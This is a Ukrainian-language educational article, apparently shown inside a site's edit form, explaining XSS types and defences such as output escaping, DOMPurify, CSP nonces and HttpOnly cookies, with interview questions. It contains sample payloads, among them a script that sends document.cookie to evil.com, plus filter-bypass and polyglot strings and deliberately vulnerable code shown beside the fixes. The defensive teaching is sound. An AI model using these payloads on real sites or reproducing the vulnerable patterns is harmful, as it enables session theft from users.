Запропонувати правкуПокращити цю статтюДопрацюйте відповідь до «Що таке XSS і як його запобігти?». Ваші зміни проходять модерацію перед публікацією.Потрібне підтвердженняКонтентЩо ви змінюєте🇺🇸EN🇺🇦UAПереглядЗаголовок (UA)Коротка відповідь (UA)**XSS (Cross-Site Scripting)** - це вразливість, при якій зловмисники впроваджують шкідливі скрипти на довірені веб-сторінки і браузер їх виконує. Захист: екрануй вміст від користувача при виводі, санітизуй HTML через DOMPurify, встановлюй заголовок Content Security Policy та позначай cookies сесії як HttpOnly.Показується над повною відповіддю для швидкого нагадування.Відповідь (UA)Зображення**XSS (Cross-Site Scripting)** - це вразливість, при якій зловмисник додає шкідливий скрипт на сторінку, якій ти довіряєш, і браузер його виконує. ## Теорія ### TL;DR - XSS схожий на підроблену записку в банківській системі: браузер (касир) вважає її легітимною і виконує - Три типи: Stored (скрипт зберігається в БД, спрацьовує для кожного відвідувача), Reflected (скрипт повертається через URL), DOM-based (клієнтський JS записує введення зловмисника напряму в сторінку) - Браузер не розрізняє твій скрипт від впровадженого - Захист: екрануй при виводі (не при введенні), санітизуй HTML, додай заголовок CSP - React автоматично екранує JSX, але `dangerouslySetInnerHTML` вимикає цей захист повністю ### Швидкий приклад ```html <!-- Вразлива PHP сторінка пошуку --> <h1>Результати для: <?php echo $_GET['q']; ?></h1> <!-- URL атаки --> page.php?q=<script>alert(document.cookie)</script> <!-- Браузер сприймає це як справжній HTML і виконує скрипт --> ``` Один неекранований `echo` - і браузер виконує все, що є в URL. Ось і вся атака. ### Три типи XSS **Stored XSS** зберігає payload у базі даних. Коментар зі скриптом `<script>fetch('https://evil.com?c='+document.cookie)</script>` спрацьовує для кожного користувача, що відкриває сторінку. Одна ін'єкція - необмежена кількість жертв. **Reflected XSS** працює через URL. Сервер читає `?q=<script>...` і записує це прямо в HTML-відповідь. Спрацьовує один раз при кліку на підроблене посилання. **DOM-based XSS** взагалі не торкається сервера. Клієнтський JS читає з `location.hash` або `location.search` і записує в `innerHTML`. Сервер надсилає чисту відповідь, а браузер атакує сам себе. ```javascript // DOM-based: сервер ніколи не бачить payload const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); document.getElementById('result').innerHTML = query; // URL: #q=<img src=x onerror=alert(1)> → виконується ``` ### Чому браузер виконує впроваджені скрипти Браузер парсить HTML через движок (Blink у Chrome, Gecko у Firefox). Коли парсер натрапляє на тег `<script>` або атрибут-обробник на кшталт `onerror`, він передає це JS-движку (V8 у Chrome) для виконання. Движок не перевіряє походження - він виконує все, що йому передав парсер. Політика одного джерела (same-origin policy) контролює те, що скрипти можуть *запитувати*, але не те, що вони можуть *виконувати*. Тому впроваджений скрипт запускається з повним доступом до `document.cookie`, `localStorage` і DOM в рамках довіреного джерела. ### Коли який захист застосовувати - Відображення тексту від користувача: використовуй `textContent` замість `innerHTML` або шаблонізатор з автоматичним екрануванням - Відображення HTML від користувача (rich text, Markdown): санітизуй через DOMPurify перед вставкою - Параметри URL в HTML: HTML-кодуй вивід, а не введення - Вбудовані скрипти (аналітика, A/B тести): додай CSP з nonces, не `unsafe-inline` - Cookies з даними сесії: встановлюй `HttpOnly: true`, щоб впроваджений скрипт не міг їх прочитати Одне правило закриває більшість випадків: екрануй в точці виводу, а не введення. ### Як працює екранування виводу ```javascript function escapeHtml(str) { return str .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, '''); } // Безпечний маршрут Express app.get('/search', (req, res) => { const q = escapeHtml(req.query.q ?? ''); res.send(`<h1>Результати для: ${q}</h1>`); // <script> стає <script> - браузер показує текст, не виконує }); ``` ### Типові помилки **Екранування при введенні, а не виводі.** Зберегти `escape(userInput)` в базу і потім відрендерити через `<%= raw(post.comment) %>`. Зловмисник надсилає `<script>`, що при виводі розкодовується назад у `<script>`. Виправлення: екрануй при рендерингу, кожного разу. ```javascript // Неправильно db.save({ comment: sanitize(raw) }); // ...потім... res.send(`<p>${post.comment}</p>`); // Довіряє БД // Правильно res.send(`<p>${escapeHtml(post.comment)}</p>`); // Екранування при виводі ``` **Вайтлист тегів без атрибутів.** Дозволяти `<b>`, але не прибирати `onmouseover`. Результат: `<b onmouseover=alert(1)>hi</b>` виконується. Справжній санітайзер на кшталт DOMPurify обробляє атрибути, а не тільки назви тегів. ```javascript // Неправильно: наївний фільтр тегів const safe = html.replace(/<script>/gi, ''); // <scr<script>ipt> обходить це миттєво // Правильно import DOMPurify from 'dompurify'; const safe = DOMPurify.sanitize(html); // Прибирає небезпечні атрибути теж ``` **CSP з `unsafe-inline`.** Заголовок `script-src 'self' 'unsafe-inline'` знищує весь сенс CSP. За даними OWASP, близько 40% заголовків CSP налаштовані саме так. Використовуй nonces або хеші для вбудованих скриптів. ```javascript // Неправильно "script-src 'self' 'unsafe-inline'" // Правильно: новий nonce для кожного запиту const nonce = crypto.randomBytes(16).toString('base64'); res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`); // В шаблоні: <script nonce="${nonce}">... ``` **`dangerouslySetInnerHTML` у React без санітизації.** React автоматично екранує JSX. Щойно ти використовуєш `dangerouslySetInnerHTML`, цей захист вимикається. Таке часто зустрічається в Next.js рендерерах Markdown, що передають сирий HTML з CMS прямо в проп. ```jsx // Вразливо function Post({ content }) { return <div dangerouslySetInnerHTML={{ __html: content }} />; } // Виправлено import DOMPurify from 'dompurify'; function Post({ content }) { return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }} />; } ``` ### Де зустрічається в реальних проектах - **Express + Helmet:** `app.use(helmet())` встановлює CSP та інші заголовки безпеки одним рядком - **React:** JSX автоматично екранує, тому `{userInput}` безпечний; уваги потребує тільки `dangerouslySetInnerHTML` - **Angular:** `DomSanitizer` санітизує за замовчуванням; `bypassSecurityTrustHtml()` вимикає захист і потребує пояснення в коментарі до коду - **PHP Laravel:** `{{ $var }}` у Blade автоматично екранує; `{!! $var !!}` - ні; подвійний знак оклику - червоний прапор на code review - **GitHub та Twitter:** у продакшені використовують `script-src 'nonce-...'`; `unsafe-inline` відсутній ### Питання на співбесіді **Q:** Назви три типи XSS з прикладом для кожного. **A:** Stored: коментар з `<script>` збережений у БД і виконується для всіх відвідувачів. Reflected: `?q=<script>` повертається назад у HTML результатів пошуку. DOM-based: `location.hash` записується в `innerHTML` на клієнті. **Q:** Яка різниця між `innerHTML` і `textContent`? **A:** `innerHTML` парсить рядок як HTML і виконує обробники подій та скрипти. `textContent` вставляє рядок як звичайний текст без парсингу. Використовуй `textContent`, коли HTML-структура не потрібна. **Q:** Як CSP знижує ризик XSS? **A:** CSP повідомляє браузеру, які джерела скриптів дозволені. Якщо зловмисник впроваджує тег `<script>`, браузер блокує його, бо джерело не в списку. Nonces на кшталт `'nonce-abc123'` дозволяють конкретні вбудовані скрипти і блокують все інше. **Q:** Чи може санітайзер щось пропустити? **A:** Так. Санітайзери працюють проти відомих патернів атак. Поліглот-payload на кшталт `javascript:/*</textarea><script>alert(1)</script>` може обійти самописний фільтр. DOMPurify регулярно оновлюється проти нових обходів, тому власний вайтлист тегів майже завжди буде неповним. **Q (Senior):** Поясни різницю між `frame-ancestors` і `sandbox` у CSP. **A:** `frame-ancestors` контролює, які джерела можуть вбудовувати твою сторінку в iframe - це захист від clickjacking. `sandbox` накладає обмеження на iframe з недовіреним контентом: без скриптів, без попапів, без відправки форм, якщо явно не дозволено. Вони вирішують різні проблеми: перший захищає твою сторінку від вбудовування, другий обмежує можливості вбудованого контенту. ## Приклади ### Stored XSS в Express ```javascript const express = require('express'); const DOMPurify = require('isomorphic-dompurify'); const app = express(); // Вразлива версія app.post('/comment', (req, res) => { db.save({ comment: req.body.comment }); // Зберігає <script>steal()</script> як є }); app.get('/comments', (req, res) => { const rows = db.getAll(); // Браузер кожного відвідувача виконає збережений скрипт res.send(rows.map(r => `<p>${r.comment}</p>`).join('')); }); // Виправлена версія app.post('/comment', (req, res) => { const clean = DOMPurify.sanitize(req.body.comment); // Очищаємо при збереженні db.save({ comment: clean }); }); app.get('/comments', (req, res) => { const rows = db.getAll(); res.send(rows.map(r => `<p>${escapeHtml(r.comment)}</p>`).join('')); // Подвійний захист: санітизація при збереженні, екранування при виводі }); ``` Санітизація при збереженні І екранування при виводі - це не надмірність. Якщо один шар дасть збій, другий спрацює. ### DOM-based XSS у React ```jsx // Вразливо: читає URL hash, записує сирий HTML function Search() { const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); return <div dangerouslySetInnerHTML={{ __html: query }} />; // URL: #q=<svg onload=alert(1)> → React рендерить SVG → onload спрацьовує } // Виправлено import DOMPurify from 'dompurify'; function Search() { const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); // Варіант 1: санітизувати і дозволити HTML-розмітку return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(query) }} />; // Варіант 2: трактувати як звичайний текст (краще, якщо HTML не потрібен) // return <div>{query}</div>; } ``` ### Повний стек захисту в Express ```javascript const express = require('express'); const helmet = require('helmet'); const crypto = require('crypto'); const DOMPurify = require('isomorphic-dompurify'); const app = express(); app.use(express.json()); // Helmet встановлює X-XSS-Protection, X-Content-Type-Options та базовий CSP app.use(helmet()); // Новий nonce для кожного запиту - для вбудованих скриптів app.use((req, res, next) => { res.locals.nonce = crypto.randomBytes(16).toString('base64'); res.setHeader( 'Content-Security-Policy', `default-src 'self'; script-src 'self' 'nonce-${res.locals.nonce}'; style-src 'self'` ); next(); }); // HttpOnly cookie - впроваджений скрипт не зможе прочитати токен сесії app.post('/login', (req, res) => { res.cookie('session', generateSessionId(), { httpOnly: true, secure: true, sameSite: 'strict' }); res.json({ ok: true }); }); // Перевіряємо тип і довжину, потім санітизуємо перед збереженням app.post('/api/comment', (req, res) => { const raw = req.body.comment; if (!raw || typeof raw !== 'string' || raw.length > 2000) { return res.status(400).json({ error: 'Invalid input' }); } const clean = DOMPurify.sanitize(raw); db.save({ comment: clean }); res.json({ ok: true }); }); ``` Три шари разом: CSP блокує виконання на рівні браузера, DOMPurify прибирає небезпечні теги перед збереженням, `HttpOnly` обмежує доступ до cookies навіть якщо щось проскочить.Для рев’юераПримітка для модератора (необов’язково)Бачить лише модератор. Прискорює рев’ю.